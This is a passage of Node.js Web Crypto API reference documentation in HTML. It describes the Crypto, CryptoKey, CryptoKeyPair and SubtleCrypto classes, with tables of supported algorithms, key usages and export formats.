aria-describedby="footnote-label">1</a></sup></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td></tr><tr><td><code>'AES-CTR'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><code>'AES-CBC'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><code>'AES-GCM'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><code>'AES-KW'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><code>'HMAC'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'HKDF'</code></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td></tr><tr><td><code>'PBKDF2'</code></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td></tr><tr><td><code>'SHA-1'</code></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td></tr><tr><td><code>'SHA-256'</code></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td></tr><tr><td><code>'SHA-384'</code></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td></tr><tr><td><code>'SHA-512'</code></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td></tr></tbody></table>
</section><section><h3>Class: <code>Crypto</code><span><a class="mark" href="#class-crypto" id="class-crypto">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_crypto"></a></h3>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<p><code>globalThis.crypto</code> is an instance of the <code>Crypto</code>
class. <code>Crypto</code> is a singleton that provides access to the remainder of the
crypto API.</p>
<div>
<h4><code>crypto.subtle</code><span><a class="mark" href="#cryptosubtle" id="cryptosubtle">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_crypto_subtle"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-subtlecrypto" class="type">&#x3C;SubtleCrypto></a></li>
</ul>
<p>Provides access to the <code>SubtleCrypto</code> API.</p>
</div><div>
<h4><code>crypto.getRandomValues(typedArray)</code><span><a class="mark" href="#cryptogetrandomvaluestypedarray" id="cryptogetrandomvaluestypedarray">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_crypto_getrandomvalues_typedarray"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li><code>typedArray</code> <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a></li>
<li>Returns: <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a></li>
</ul>
<p>Generates cryptographically strong random values. The given <code>typedArray</code> is
filled with random values, and a reference to <code>typedArray</code> is returned.</p>
<p>The given <code>typedArray</code> must be an integer-based instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a>,
i.e. <code>Float32Array</code> and <code>Float64Array</code> are not accepted.</p>
<p>An error will be thrown if the given <code>typedArray</code> is larger than 65,536 bytes.</p>
</div><div>
<h4><code>crypto.randomUUID()</code><span><a class="mark" href="#cryptorandomuuid" id="cryptorandomuuid">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_crypto_randomuuid"></a></h4>
<div class="api_metadata">
<span>Added in: v16.7.0</span>
</div>
<ul>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>Generates a random <a href="https://www.rfc-editor.org/rfc/rfc4122.txt">RFC 4122</a> version 4 UUID. The UUID is generated using a
cryptographic pseudorandom number generator.</p>
</div>
</section><section><h3>Class: <code>CryptoKey</code><span><a class="mark" href="#class-cryptokey" id="class-cryptokey">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_cryptokey"></a></h3>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h4><code>cryptoKey.algorithm</code><span><a class="mark" href="#cryptokeyalgorithm" id="cryptokeyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokey_algorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li>Type: <a href="webcrypto.html#class-keyalgorithm" class="type">&#x3C;KeyAlgorithm></a> | <a href="webcrypto.html#class-rsahashedkeyalgorithm" class="type">&#x3C;RsaHashedKeyAlgorithm></a> | <a href="webcrypto.html#class-eckeyalgorithm" class="type">&#x3C;EcKeyAlgorithm></a> | <a href="webcrypto.html#class-aeskeyalgorithm" class="type">&#x3C;AesKeyAlgorithm></a> | <a href="webcrypto.html#class-hmackeyalgorithm" class="type">&#x3C;HmacKeyAlgorithm></a></li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>An object detailing the algorithm for which the key can be used along with
additional algorithm-specific parameters.</p>
<p>Read-only.</p>
</div><div>
<h4><code>cryptoKey.extractable</code><span><a class="mark" href="#cryptokeyextractable" id="cryptokeyextractable">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokey_extractable"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
</ul>
<p>When <code>true</code>, the <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> can be extracted using either
<code>subtleCrypto.exportKey()</code> or <code>subtleCrypto.wrapKey()</code>.</p>
<p>Read-only.</p>
</div><div>
<h4><code>cryptoKey.type</code><span><a class="mark" href="#cryptokeytype" id="cryptokeytype">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokey_type"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> One of <code>'secret'</code>, <code>'private'</code>, or <code>'public'</code>.</li>
</ul>
<p>A string identifying whether the key is a symmetric (<code>'secret'</code>) or
asymmetric (<code>'private'</code> or <code>'public'</code>) key.</p>
</div><div>
<h4><code>cryptoKey.usages</code><span><a class="mark" href="#cryptokeyusages" id="cryptokeyusages">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokey_usages"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string[]></a></li>
</ul>
<p>An array of strings identifying the operations for which the
key may be used.</p>
<p>The possible usages are:</p>
<ul>
<li><code>'encrypt'</code> - The key may be used to encrypt data.</li>
<li><code>'decrypt'</code> - The key may be used to decrypt data.</li>
<li><code>'sign'</code> - The key may be used to generate digital signatures.</li>
<li><code>'verify'</code> - The key may be used to verify digital signatures.</li>
<li><code>'deriveKey'</code> - The key may be used to derive a new key.</li>
<li><code>'deriveBits'</code> - The key may be used to derive bits.</li>
<li><code>'wrapKey'</code> - The key may be used to wrap another key.</li>
<li><code>'unwrapKey'</code> - The key may be used to unwrap another key.</li>
</ul>
<p>Valid key usages depend on the key algorithm (identified by
<code>cryptokey.algorithm.name</code>).</p>
































































































































































































<table><thead><tr><th>Supported Key Algorithm</th><th><code>'encrypt'</code></th><th><code>'decrypt'</code></th><th><code>'sign'</code></th><th><code>'verify'</code></th><th><code>'deriveKey'</code></th><th><code>'deriveBits'</code></th><th><code>'wrapKey'</code></th><th><code>'unwrapKey'</code></th></tr></thead><tbody><tr><td><code>'AES-CBC'</code></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-CTR'</code></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-GCM'</code></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-KW'</code></td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'ECDH'</code></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td></tr><tr><td><code>'X25519'</code></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td></tr><tr><td><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-3" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td></tr><tr><td><code>'ECDSA'</code></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr><tr><td><code>'Ed25519'</code></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr><tr><td><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-4" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr><tr><td><code>'HDKF'</code></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td></tr><tr><td><code>'HMAC'</code></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr><tr><td><code>'PBKDF2'</code></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td></tr><tr><td><code>'RSA-OAEP'</code></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'RSA-PSS'</code></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr><tr><td><code>'RSASSA-PKCS1-v1_5'</code></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td></tr></tbody></table>
</div>
</section><section><h3>Class: <code>CryptoKeyPair</code><span><a class="mark" href="#class-cryptokeypair" id="class-cryptokeypair">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_cryptokeypair"></a></h3>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<p>The <code>CryptoKeyPair</code> is a simple dictionary object with <code>publicKey</code> and
<code>privateKey</code> properties, representing an asymmetric key pair.</p>
<div>
<h4><code>cryptoKeyPair.privateKey</code><span><a class="mark" href="#cryptokeypairprivatekey" id="cryptokeypairprivatekey">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokeypair_privatekey"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> A <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> whose <code>type</code> will be <code>'private'</code>.</li>
</ul>
</div><div>
<h4><code>cryptoKeyPair.publicKey</code><span><a class="mark" href="#cryptokeypairpublickey" id="cryptokeypairpublickey">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_cryptokeypair_publickey"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> A <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> whose <code>type</code> will be <code>'public'</code>.</li>
</ul>
</div>
</section><section><h3>Class: <code>SubtleCrypto</code><span><a class="mark" href="#class-subtlecrypto" id="class-subtlecrypto">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_subtlecrypto"></a></h3>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h4><code>subtle.decrypt(algorithm, key, data)</code><span><a class="mark" href="#subtledecryptalgorithm-key-data" id="subtledecryptalgorithm-key-data">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_decrypt_algorithm_key_data"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li><code>algorithm</code> <a href="webcrypto.html#class-rsaoaepparams" class="type">&#x3C;RsaOaepParams></a> | <a href="webcrypto.html#class-aesctrparams" class="type">&#x3C;AesCtrParams></a> | <a href="webcrypto.html#class-aescbcparams" class="type">&#x3C;AesCbcParams></a> | <a href="webcrypto.html#class-aesgcmparams" class="type">&#x3C;AesGcmParams></a></li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>data</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<p>Using the method and parameters specified in <code>algorithm</code> and the keying
material provided by <code>key</code>, <code>subtle.decrypt()</code> attempts to decipher the
provided <code>data</code>. If successful, the returned promise will be resolved with
an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> containing the plaintext result.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'RSA-OAEP'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
</ul>
</div><div>
<h4><code>subtle.deriveBits(algorithm, baseKey[, length])</code><span><a class="mark" href="#subtlederivebitsalgorithm-basekey-length" id="subtlederivebitsalgorithm-basekey-length">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_derivebits_algorithm_basekey_length"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.5.0</td>
<td><p>The length parameter is now optional for <code>'ECDH'</code>, <code>'X25519'</code>, and <code>'X448'</code>.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'X25519'</code>, and <code>'X448'</code> algorithms.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>algorithm</code> <a href="webcrypto.html#class-ecdhkeyderiveparams" class="type">&#x3C;EcdhKeyDeriveParams></a> | <a href="webcrypto.html#class-hkdfparams" class="type">&#x3C;HkdfParams></a> | <a href="webcrypto.html#class-pbkdf2params" class="type">&#x3C;Pbkdf2Params></a></li>
<li><code>baseKey</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>length</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Null_type" class="type">&#x3C;null></a> <strong>Default:</strong> <code>null</code></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>Using the method and parameters specified in <code>algorithm</code> and the keying
material provided by <code>baseKey</code>, <code>subtle.deriveBits()</code> attempts to generate
<code>length</code> bits.</p>
<p>When <code>length</code> is not provided or <code>null</code> the maximum number of bits for a given
algorithm is generated. This is allowed for the <code>'ECDH'</code>, <code>'X25519'</code>, and <code>'X448'</code>
algorithms, for other algorithms <code>length</code> is required to be a number.</p>
<p>If successful, the returned promise will be resolved with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a>
containing the generated data.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'ECDH'</code></li>
<li><code>'X25519'</code></li>
<li><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-5" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'HKDF'</code></li>
<li><code>'PBKDF2'</code></li>
</ul>
</div><div>
<h4><code>subtle.deriveKey(algorithm, baseKey, derivedKeyAlgorithm, extractable, keyUsages)</code><span><a class="mark" href="#subtlederivekeyalgorithm-basekey-derivedkeyalgorithm-extractable-keyusages" id="subtlederivekeyalgorithm-basekey-derivedkeyalgorithm-extractable-keyusages">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_derivekey_algorithm_basekey_derivedkeyalgorithm_extractable_keyusages"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'X25519'</code>, and <code>'X448'</code> algorithms.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>algorithm</code> <a href="webcrypto.html#class-ecdhkeyderiveparams" class="type">&#x3C;EcdhKeyDeriveParams></a> | <a href="webcrypto.html#class-hkdfparams" class="type">&#x3C;HkdfParams></a> | <a href="webcrypto.html#class-pbkdf2params" class="type">&#x3C;Pbkdf2Params></a></li>
<li><code>baseKey</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>derivedKeyAlgorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-hmacimportparams" class="type">&#x3C;HmacImportParams></a> | <a href="webcrypto.html#class-aesderivedkeyparams" class="type">&#x3C;AesDerivedKeyParams></a></li>
<li><code>extractable</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
<li><code>keyUsages</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string[]></a> See <a href="#cryptokeyusages">Key usages</a>.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> upon success.</li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>Using the method and parameters specified in <code>algorithm</code>, and the keying
material provided by <code>baseKey</code>, <code>subtle.deriveKey()</code> attempts to generate
a new <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> based on the method and parameters in <code>derivedKeyAlgorithm</code>.</p>
<p>Calling <code>subtle.deriveKey()</code> is equivalent to calling <code>subtle.deriveBits()</code> to
generate raw keying material, then passing the result into the
<code>subtle.importKey()</code> method using the <code>deriveKeyAlgorithm</code>, <code>extractable</code>, and
<code>keyUsages</code> parameters as input.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'ECDH'</code></li>
<li><code>'X25519'</code></li>
<li><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-6" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'HKDF'</code></li>
<li><code>'PBKDF2'</code></li>
</ul>
</div><div>
<h4><code>subtle.digest(algorithm, data)</code><span><a class="mark" href="#subtledigestalgorithm-data" id="subtledigestalgorithm-data">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_digest_algorithm_data"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li><code>algorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
<li><code>data</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<p>Using the method identified by <code>algorithm</code>, <code>subtle.digest()</code> attempts to
generate a digest of <code>data</code>. If successful, the returned promise is resolved
with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> containing the computed digest.</p>
<p>If <code>algorithm</code> is provided as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, it must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If <code>algorithm</code> is provided as an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a>, it must have a <code>name</code> property
whose value is one of the above.</p>
</div><div>
<h4><code>subtle.encrypt(algorithm, key, data)</code><span><a class="mark" href="#subtleencryptalgorithm-key-data" id="subtleencryptalgorithm-key-data">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_encrypt_algorithm_key_data"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li><code>algorithm</code> <a href="webcrypto.html#class-rsaoaepparams" class="type">&#x3C;RsaOaepParams></a> | <a href="webcrypto.html#class-aesctrparams" class="type">&#x3C;AesCtrParams></a> | <a href="webcrypto.html#class-aescbcparams" class="type">&#x3C;AesCbcParams></a> | <a href="webcrypto.html#class-aesgcmparams" class="type">&#x3C;AesGcmParams></a></li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>data</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<p>Using the method and parameters specified by <code>algorithm</code> and the keying
material provided by <code>key</code>, <code>subtle.encrypt()</code> attempts to encipher <code>data</code>.
If successful, the returned promise is resolved with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a>
containing the encrypted result.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'RSA-OAEP'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
</ul>
</div><div>
<h4><code>subtle.exportKey(format, key)</code><span><a class="mark" href="#subtleexportkeyformat-key" id="subtleexportkeyformat-key">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_exportkey_format_key"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'Ed25519'</code>, <code>'Ed448'</code>, <code>'X25519'</code>, and <code>'X448'</code> algorithms.</p></td></tr>
<tr><td>v15.9.0</td>
<td><p>Removed <code>'NODE-DSA'</code> JWK export.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>format</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'raw'</code>, <code>'pkcs8'</code>, <code>'spki'</code>, or <code>'jwk'</code>.</li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a> upon success.</li>
</ul>
<p>Exports the given key into the specified format, if supported.</p>
<p>If the <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> is not extractable, the returned promise will reject.</p>
<p>When <code>format</code> is either <code>'pkcs8'</code> or <code>'spki'</code> and the export is successful,
the returned promise will be resolved with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> containing the
exported key data.</p>
<p>When <code>format</code> is <code>'jwk'</code> and the export is successful, the returned promise
will be resolved with a JavaScript object conforming to the <a href="https://tools.ietf.org/html/rfc7517">JSON Web Key</a>
specification.</p>
































































































<table><thead><tr><th>Supported Key Algorithm</th><th><code>'spki'</code></th><th><code>'pkcs8'</code></th><th><code>'jwk'</code></th><th><code>'raw'</code></th></tr></thead><tbody><tr><td><code>'AES-CBC'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-CTR'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-GCM'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-KW'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'ECDH'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'ECDSA'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'Ed25519'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-7" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'HMAC'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'RSA-OAEP'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSA-PSS'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSASSA-PKCS1-v1_5'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr></tbody></table>
</div><div>
<h4><code>subtle.generateKey(algorithm, extractable, keyUsages)</code><span><a class="mark" href="#subtlegeneratekeyalgorithm-extractable-keyusages" id="subtlegeneratekeyalgorithm-extractable-keyusages">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_generatekey_algorithm_extractable_keyusages"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
